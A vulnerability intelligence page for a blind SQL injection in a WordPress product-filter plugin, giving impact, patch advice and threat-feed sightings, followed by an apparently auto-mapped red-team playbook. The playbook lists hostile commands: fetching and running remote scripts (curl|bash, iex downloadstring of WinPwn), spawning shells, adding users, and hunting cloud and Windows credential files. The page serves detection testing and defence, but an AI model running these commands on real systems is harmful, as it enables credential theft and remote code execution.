CVE-2026-39494
Overview
This vulnerability is a Blind SQL Injection affecting the Product Filter by WBW WordPress plugin up to version 3.1.2. The root cause is improper neutralization of special SQL command elements within user-supplied input, allowing crafted queries to be injected into the backend database. The flaw resides in the plugin's filtering functionality that processes user input without adequate sanitization or parameterization.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in WBW Plugins Product Filter by WBW allows Blind SQL Injection. This issue affects Product Filter by WBW: from n/a through 3.1.2.
Impact
An unauthenticated attacker can exploit this vulnerability to perform Blind SQL Injection attacks, enabling extraction of sensitive database information such as product data or user information. This can lead to unauthorized data disclosure and partial database compromise. Because no authentication or user interaction is required, the vulnerability can be leveraged remotely by any attacker with network access to the affected WordPress instance, potentially impacting business operations relying on the plugin's data integrity and confidentiality.
Solution
To remediate this vulnerability, upgrade the Product Filter by WBW plugin to version 3.1.3 or later, where the SQL injection flaw has been addressed. Detailed patch instructions and version updates are available at Patchstack's advisory page: https://patchstack.com/database/wordpress/plugin/woo-product-filter/vulnerability/wordpress-product-filter-by-wbw-plugin-3-1-2-sql-injection-vulnerability?_s_id=cve. Applying this update will ensure proper input sanitization and prevent injection attacks.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Product Filter by WBW arises from improper neutralization of special elements used in SQL commands, leading to a blind SQL injection flaw. This type of vulnerability occurs when user-supplied input is not adequately sanitized before being incorporated into SQL queries. In this case, an attacker can manipulate input fields to execute arbitrary SQL commands against the database. The lack of proper input validation allows malicious actors to extract sensitive information, modify database entries, or even execute administrative operations, all without direct feedback from the application, hence the term "blind" SQL injection.
Exploitation of this vulnerability can occur through various attack vectors, primarily involving user input fields that interact with the database. For instance, an attacker may craft a request that includes SQL code embedded within the input parameters of the Product Filter. By observing the application's behavior in response to different inputs, the attacker can infer the structure of the database and the existence of certain data. This methodical approach allows for the extraction of sensitive information, such as user credentials, product details, or other confidential data stored within the database. Additionally, attackers may escalate their access privileges, potentially gaining control over the entire database system.
The real-world impact of such a vulnerability is significant, particularly for businesses that rely on the Product Filter for e-commerce or data management. A successful exploitation could lead to data breaches, resulting in the unauthorized disclosure of customer information, financial records, or proprietary business data. The consequences of such breaches can be severe, including financial losses, reputational damage, and legal ramifications due to non-compliance with data protection regulations. Furthermore, the high CVSS score of 9.3 indicates that this vulnerability poses a critical risk, necessitating immediate attention from organizations using the affected product.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify potential weaknesses in the application. Employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious input before it reaches the application. Furthermore, developers should adopt secure coding practices, such as using prepared statements and parameterized queries, to ensure that user input is properly sanitized and cannot interfere with SQL commands. Continuous monitoring of application logs can also help detect unusual patterns of access that may indicate an attempted exploitation of the vulnerability.
In conclusion, the blind SQL injection vulnerability in the Product Filter by WBW represents a serious threat to organizations that utilize this software. The potential for data breaches and the associated business risks underscore the importance of proactive security measures. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and protect their sensitive data from unauthorized access. Implementing robust detection and mitigation strategies is essential in safeguarding against the exploitation of this vulnerability and ensuring the integrity of their systems.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2026-39494, indicating that attempts to exploit the SQL injection vulnerability in WBW Plugins Product Filter by WBW have begun to surface in the wild. This shift from no prior sightings to consistent telemetry signals underscores the vulnerability’s transition from theoretical risk to active threat. The elevation of the CVSS score to 9.3 reflects the critical severity of this issue, emphasizing its potential for severe impact including unauthorized data access and system compromise. Although no new exploit code or ransomware group associations have been confirmed, the increase in EPSS score and detection frequency signals growing attacker interest and capability. For defenders, this development necessitates heightened vigilance and prioritization of this vulnerability within risk management frameworks, as the window for exploitation is now demonstrably open and expanding.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Active exploitation confirmed — vendor: WBW Plugins, product: Product Filter by WBW
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2026-39494 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/wordpress/plugin/woo-product-filter/vulnerability/wordpress-product-filter-by-wbw-plugin-3-1-2-sql-injection-vulnerability?_s_id=cve |